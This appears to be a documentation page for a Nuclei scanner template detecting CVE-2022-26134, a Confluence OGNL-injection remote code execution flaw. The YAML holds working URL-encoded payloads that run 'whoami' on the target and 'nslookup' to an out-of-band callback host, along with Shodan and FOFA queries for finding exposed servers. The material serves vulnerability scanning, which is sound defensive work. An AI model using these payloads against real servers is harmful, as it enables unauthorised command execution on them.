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Nuclei Templates

Confluence - Remote Code Execution

ID: CVE-2022-26134

Severity: critical

Author: pdteam,jbertman

Tags: cve,cve2022,packetstorm,confluence,rce,ognl,oast,kev,atlassian

Description

Section titled “Description”

Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2022-26134


info:
  name: Confluence - Remote Code Execution
  author: pdteam,jbertman
  severity: critical
  description: |
    Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
    - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
    - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
    - https://jira.atlassian.com/browse/CONFSERVER-79016
    - http://packetstormsecurity.com/files/167431/Through-The-Wire-CVE-2022-26134-Confluence-Proof-Of-Concept.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26134
    cwe-id: CWE-917
    epss-score: 0.97528
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: cve,cve2022,packetstorm,confluence,rce,ognl,oast,kev,atlassian


http:
  - method: GET
    path:
      - "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
      - "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/"


    stop-at-first-match: true


    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains(to_lower(header_1), "x-cmd-response:")'


      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(to_lower(response_2), "confluence")'
        condition: and


    extractors:
      - type: kval
        kval:
          - "x_cmd_response"
        part: header
# digest: 4a0a00473045022068dc8300cf41ab2509e003edd760e78723624a7114d1f178b49fceea3481ced30221009883fc1bc2cb299446db425531275fd655237e56e434f880ca6f0802218e31cf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-26134.yaml"

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